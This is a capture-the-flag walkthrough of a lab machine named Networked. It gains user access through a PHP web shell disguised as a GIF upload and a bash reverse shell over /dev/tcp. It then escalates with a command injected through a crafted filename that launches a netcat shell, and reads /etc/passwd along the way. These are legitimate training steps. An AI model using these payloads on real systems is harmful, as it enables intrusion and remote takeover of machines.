Part 2 : Getting User Access
Let's investigate the webservice running on port 80 using the curl command with the -sk flags.
λ root [ 10.10.14.7/23 ] [nihilist/_HTB/Networked]
→ curl -sk http://10.10.10.146
<html>
<body>
Hello mate, we're building the new FaceMash!</br>
Help by funding us and be the new Tyler&Cameron!</br>
Join us at the pool party this Sat to get a glimpse
</body>
</html>
Not much to see on the index page, so let's launch dirsearch to enumerate what directories we can find on the box.
λ nihilist [ 10.10.14.7/23 ] [~/_HTB/Networked]
→ dirsearch -u http://10.10.10.146/ -e txt,html,js,php -t 50
git clone https://github.com/maurosoria/dirsearch.git
dirsearch -u -e -t 50 -x 500
_|. _ _ _ _ _ _|_ v0.3.9
(_||| _) (/_(_|| (_| )
Extensions: txt, html, js, php | HTTP method: get | Threads: 50 | Wordlist size: 7126
Error Log: /home/nihilist/Desktop/Tools/dirsearch/logs/errors-20-02-18_10-32-21.log
Target: http://10.10.10.146/
[10:32:21] Starting:
[10:32:24] 403 - 213B - /.ht_wsr.txt
[10:32:24] 403 - 215B - /.htaccess-dev
[10:32:24] 403 - 217B - /.htaccess-local
[10:32:24] 403 - 206B - /.hta
[10:32:24] 403 - 217B - /.htaccess-marco
[10:32:24] 403 - 215B - /.htaccess.BAK
[10:32:24] 403 - 216B - /.htaccess.bak1
[10:32:24] 403 - 216B - /.htaccess.orig
[10:32:24] 403 - 215B - /.htaccess.old
[10:32:24] 403 - 216B - /.htaccess.save
[10:32:24] 403 - 218B - /.htaccess.sample
[10:32:24] 403 - 215B - /.htaccess.txt
[10:32:24] 403 - 217B - /.htaccess_extra
[10:32:24] 403 - 216B - /.htaccess_orig
[10:32:24] 403 - 214B - /.htaccess_sc
[10:32:24] 403 - 214B - /.htaccessBAK
[10:32:24] 403 - 214B - /.htaccessOLD
[10:32:24] 403 - 215B - /.htaccessOLD2
[10:32:24] 403 - 212B - /.htaccess~
[10:32:24] 403 - 210B - /.htgroup
[10:32:24] 403 - 215B - /.htpasswd-old
[10:32:24] 403 - 216B - /.htpasswd_test
[10:32:24] 403 - 212B - /.htpasswds
[10:32:24] 403 - 210B - /.htusers
[10:32:34] 301 - 235B - /backup -> http://10.10.10.146/backup/
[10:32:34] 200 - 885B - /backup/
[10:32:35] 403 - 210B - /cgi-bin/
[10:32:39] 200 - 229B - /index.php
[10:32:39] 200 - 229B - /index.php/login/
[10:32:48] 200 - 169B - /upload.php
[10:32:48] 301 - 236B - /uploads -> http://10.10.10.146/uploads/
[10:32:48] 200 - 2B - /uploads/
here we have a few interesting results : /backup , /upload.php and /uploads/ , Let's move over to /upload.php and upload our nihilist.php which will basically grab the html GET Variable "nihilist" and pass it to the system command which will execute it.
λ nihilist [ 10.10.14.7/23 ] [~/_HTB/Networked]
→ nano nihilist.py
<?php system($_GET['nihilist']); ?>
Uploading the php file we get an error message "invalid image file". Earlier on our dirsearch scan found the /backup/ directory so navigating there we see a file named backup.tar ready for us to download, so let's do so using wget.
λ root [ 10.10.14.7/23 ] [nihilist/_HTB/Networked]
→ wget http://10.10.10.146/backup/backup.tar && exiftool backup.tar
--2020-02-18 10:47:23-- http://10.10.10.146/backup/backup.tar
Connecting to 10.10.10.146:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10240 (10K) [application/x-tar]
Saving to: ‘backup.tar’
backup.tar 100%[==================>] 10.00K --.-KB/s in 0.004s
2020-02-18 10:47:23 (2.26 MB/s) - ‘backup.tar’ saved [10240/10240]
ExifTool Version Number : 11.86
File Name : backup.tar
Directory : .
File Size : 10 kB
File Modification Date/Time : 2019:07:09 12:33:42+01:00
File Access Date/Time : 2020:02:18 10:47:23+00:00
File Inode Change Date/Time : 2020:02:18 10:47:23+00:00
File Permissions : rw-r--r--
File Type : TAR
File Type Extension : tar
MIME Type : application/x-tar
Warning : Unsupported file type
so we get a regular tar file, let's just extract it with tar -xvf
λ root [ 10.10.14.7/23 ] [nihilist/_HTB/Networked]
→ tar -xvf backup.tar
index.php
lib.php
photos.php
upload.php
so we get a bunch of php files , now we are trying to see in what ways a user can interact with the server, so we'll use the following grep command and look at it's results
λ root [ 10.10.14.7/23 ] [nihilist/_HTB/Networked]
→ grep -Ri '$_' *
Binary file backup.tar matches
nihilist.php:
lib.php:<form action="" method="post" enctype="multipart/form-data">
photos.php: if ((strpos($exploded[0], '10_10_') === 0) && (!($prefix === $_SERVER["REMOTE_ADDR"])) ) {
upload.php:if( isset($_POST['submit']) ) {
upload.php: if (!empty($_FILES["myFile"])) {
upload.php: $myFile = $_FILES["myFile"];
upload.php: if (!(check_file_type($_FILES["myFile"]) && filesize($_FILES['myFile']['tmp_name']) < 60000)) {
upload.php: //$name = $_SERVER['REMOTE_ADDR'].'-'. $myFile["name"];
upload.php: $name = str_replace('.','_',$_SERVER['REMOTE_ADDR']).'.'.$ext;
λ root [ 10.10.14.7/23 ] [nihilist/_HTB/Networked]
→ cat upload.php| grep type
if (!(check_file_type($_FILES["myFile"]) && filesize($_FILES['myFile']['tmp_name']) < 60000)) {
Looking at the results, we see a few interesting variables , most notably the $_FILES global variable.
we can also see that we must not upload a file that is too large, AND (&&) we need to make sure the check_file_type function allows us to proceed.
so let's run the grep command again, this time looking for the check_file_type function :
λ root [ 10.10.14.7/23 ] [nihilist/_HTB/Networked]
→ grep -Ri 'check_file_type(' *
Binary file backup.tar matches
lib.php:function check_file_type($file) {
λ root [ 10.10.14.7/23 ] [nihilist/_HTB/Networked]
→ nano lib.php
Looking at the results, we see it's being used in both upload.php and lib.php
function check_file_type($file) {
$mime_type = file_mime_type($file);
if (strpos($mime_type, 'image/') === 0) {
return true;
} else {
return false;
}
}
looking at the function, we see that the file_mime_type function basically checks for magic bytes at the beginning of the uploaded file and seeing if it is actually an image.
To test this , we can try and create our own false images :
λ root [ 10.10.14.7/23 ] [nihilist/_HTB/Networked]
→ echo "GIF8;nihilist" > test.txt
λ root [ 10.10.14.7/23 ] [nihilist/_HTB/Networked]
→ file test.txt
test.txt: GIF image data 26723 x 2608
λ root [ 10.10.14.7/23 ] [nihilist/_HTB/Networked]
→ nano nihilist.php
GIF8;
λ root [ 10.10.14.7/23 ] [nihilist/_HTB/Networked]
→ mv nihilist.php nihilist.php.gif
next up we upload it, and browse to it
and from there, we can basically have command execution for example :
http://10.10.10.146/uploads/10_10_14_7.php.gif?nihilist=cat%20/etc/passwd
root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin dbus:x:81:81:System message bus:/:/sbin/nologin polkitd:x:999:998:User for polkitd:/:/sbin/nologin sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin postfix:x:89:89::/var/spool/postfix:/sbin/nologin guly:x:1000:1000:guly:/home/guly:/bin/bash saslauth:x:998:76:Saslauthd user:/run/saslauthd:/sbin/nologin apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin tcpdump:x:72:72::/:/sbin/nologin
http://10.10.10.146/uploads/10_10_14_7.php.gif?nihilist=uname%20-a
GIF8;Linux networked.htb 3.10.0-957.21.3.el7.x86_64 #1 SMP Tue Jun 18 16:35:19 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
http://10.10.10.146/uploads/10_10_14_7.php.gif?nihilist=bash -i >& /dev/tcp/10.10.14.7/9001 0>&1
Here we see that the previous URL does not work because we need to URL ENCODE the spaces, and & symbols, the spaces are + and the & are %26
http://10.10.10.146/uploads/10_10_14_7.php.gif?nihilist=bash+-i+>%26+/dev/tcp/10.10.14.7/9001+0>%261
and we are catching the incoming reverse shell connection on our port 9001 :
λ root [ 10.10.14.7/23 ] [nihilist/_HTB/Networked]
→ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.10.146] 56620
bash: no job control in this shell
bash-4.2$ uname -a
uname -a
Linux networked.htb 3.10.0-957.21.3.el7.x86_64 #1 SMP Tue Jun 18 16:35:19 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
bash-4.2$ cd /home/guly
cd /home/guly
bash-4.2$ ls -la
ls -la
total 28
drwxr-xr-x. 2 guly guly 159 Jul 9 2019 .
drwxr-xr-x. 3 root root 18 Jul 2 2019 ..
lrwxrwxrwx. 1 root root 9 Jul 2 2019 .bash_history -> /dev/null
-rw-r--r--. 1 guly guly 18 Oct 30 2018 .bash_logout
-rw-r--r--. 1 guly guly 193 Oct 30 2018 .bash_profile
-rw-r--r--. 1 guly guly 231 Oct 30 2018 .bashrc
-rw------- 1 guly guly 639 Jul 9 2019 .viminfo
-r--r--r--. 1 root root 782 Oct 30 2018 check_attack.php
-rw-r--r-- 1 root root 44 Oct 30 2018 crontab.guly
-r--------. 1 guly guly 33 Oct 30 2018 user.txt
bash-4.2$ uname -a
uname -a
Linux networked.htb 3.10.0-957.21.3.el7.x86_64 #1 SMP Tue Jun 18 16:35:19 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
bash-4.2$ whoami
whoami
apache
But we are not yet able to print the user flag, because we do not have enough permissions. we are currently the user apache, so we need to escalate privlieges to the guly user.
bash-4.2$ cat check_attack.php
cat check_attack.php
$value) {
$msg='';
if ($value == 'index.html') {
continue;
}
#echo "-------------\n";
#print "check: $value\n";
list ($name,$ext) = getnameCheck($value);
$check = check_ip($name,$value);
if (!($check[0])) {
echo "attack!\n";
# todo: attach file
file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);
exec("rm -f $logpath");
exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
echo "rm -f $path$value\n";
mail($to, $msg, $msg, $headers, "-F$value");
}
}
?>
so here we have the php sourcecode of check_attack.php, and you can see that it has a dangerous function here exec("") which is like the system() function we used earlier, it can basically execute anything.
So let's look at a line in particular :
exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
here we can see that we have no control over anything in this line EXCEPT for the $value variable, which is basically the name of the file, let's navigate over to /var/www/html/uploads/
bash-4.2$ cd /var/www/html/uploads
cd /var/www/html/uploads
bash-4.2$ nc -v
nc -v
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: You must specify a host to connect to. QUITTING
From there, we see that netcat is available for us.
Terminal 1:
bash-4.2$ touch -- ';nc -c bash 10.10.14.7 9002;.php'
touch -- ';nc -c bash 10.10.14.7 9002;.php'
bash-4.2$ ls
ls
10_10_14_7.php.gif 127_0_0_2.png 127_0_0_4.png index.html
127_0_0_1.png 127_0_0_3.png ;nc -c bash 10.10.14.7 9002;.php
here we see that we have the filename we want, which will replace our previous $value and seamlessly give us another reverse shell. we ready our other terminal.
Terminal 2:
λ nihilist [ 10.10.14.7/23 ] [~/_HTB]
→ nc -lvnp 9002
listening on [any] 9002 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.10.146] 50702
uname -a
Linux networked.htb 3.10.0-957.21.3.el7.x86_64 #1 SMP Tue Jun 18 16:35:19 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
python -c 'import pty;pty.spawn("/bin/bash")'
[guly@networked ~]$
and now we have upgraded our reverse shell to a tty using python's pty.spawn() function
λ nihilist [ 10.10.14.7/23 ] [~/_HTB]
→ nc -lvnp 9002
listening on [any] 9002 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.10.146] 50708
python -c 'import pty;pty.spawn("/bin/bash")'
[guly@networked ~]$ cat /home/guly/user.txt
cat /home/guly/user.txt
52XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
And that's it ! we have been able to print out the user flag.
